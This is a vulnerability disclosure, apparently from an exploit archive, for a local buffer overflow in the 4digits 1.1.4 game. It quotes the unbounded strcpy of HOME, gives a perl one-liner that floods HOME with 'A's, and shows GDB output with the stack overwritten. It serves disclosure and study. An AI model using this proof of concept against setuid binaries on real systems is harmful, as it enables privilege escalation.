4digits 1.1.4 Local Buffer Overflow Privilege Escalation ( if setuid/setgid ) Discoverd by N_A , N_A [at] tutanota.com Downloaded and tested upon Kali Linux Vendor has been notified. Description ------------- 4digits is a guess-the-number puzzle game. It's also called Bulls and Cows, and in China people simply call it Guess-the-Number. The game's objective is to guess a four-digit number in 8 times. https://sourceforge.net/projects/fourdigits/ Vulnerability -------------- 4digits version 1.1.4 and possibly earlier versions suffer from a buffer overflow vulnerability where possible code execution can occur and privileges can be escalated if this is setuid/setgid. The vulnerability is found within the 4digits-text binary version of the game. An environment variable is not checked thoroughly before it is passed to the function save_score() when a user wins at the game. An attacker may be able to execute arbitary code: 4digits-text.c: /* save current score in the score file */ void save_score(const int time_taken) { time_t tm = time(NULL); struct tm *today = localtime(&tm); char tmpbuffer[129]; today = localtime(&tm); char appdata_dir[4096]; //XXX why _PC_PATH_MAX is only 4? <----- The buffer we over flow const char *score_filename = "4digits.4digits.scores"; strcpy(appdata_dir, getenv("HOME")); <------ Collecting "HOME" strcat(appdata_dir, "/.4digits/"); char *scorefile = (char*)malloc(strlen(appdata_dir) + strlen(score_filename) + 1); if(!scorefile) err_exit(_("Memory allocation error.\n")); strcpy(scorefile, appdata_dir); <------ Vulnerability here strcat(scorefile, score_filename); The save_score() function is called when the user successfully wins at the game and this is when the vulnerability becomes active, as per example below: First, set the HOME variable as below $ export HOME=`perl -e 'print"A"x5100'` Then , load the game into GDB ( if you want to debug it in real time ) $ gdb 4digits-text GNU gdb (Debian 7.10-1+b1) 7.10 Copyright (C) 2015 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i586-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from 4digits-text...done. (gdb) run To activate the bug you must run the game and then win/guess the right number: (gdb) run Starting program: /home/N/4digits-1.1.4/4digits-text Input a 4-digit number:1234 2A0B 7 times left. Input a 4-digit number:7934 1A1B 6 times left. Input a 4-digit number:8235 3A0B 5 times left. Input a 4-digit number:8236 3A0B 4 times left. Input a 4-digit number:8239 3A0B 3 times left. Input a 4-digit number:8237 4A0B 2 times left. You win! :) Used 120 sec. Program received signal SIGSEGV, Segmentation fault. __strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50 50 ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S: No such file or directory. (gdb) i r eax 0x0 0 ecx 0x1 1 edx 0x5 5 ebx 0x13f6 5110 esp 0xbfffd424 0xbfffd424 ebp 0xbfffe4f8 0xbfffe4f8 esi 0x0 0 edi 0x41414141 1094795585 eip 0xb7e854b6 0xb7e854b6 <__strlen_sse2_bsf+22> eflags 0x10287 [ CF PF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) backtrace #0 __strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50 #1 0x08048f8f in save_score (time_taken=1094795585) at 4digits-text.c:183 #2 0x41414141 in ?? () #3 0x41414141 in ?? () #4 0x41414141 in ?? () #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () #10 0x41414141 in ?? () #11 0x41414141 in ?? () #12 0x41414141 in ?? () #13 0x41414141 in ?? () #14 0x41414141 in ?? () #15 0x41414141 in ?? () #16 0x41414141 in ?? () #17 0x41414141 in ?? () #18 0x41414141 in ?? () #19 0x41414141 in ?? () #20 0x41414141 in ?? () #21 0x41414141 in ?? () #22 0x41414141 in ?? () By N_A , N_A [at] tutanota.com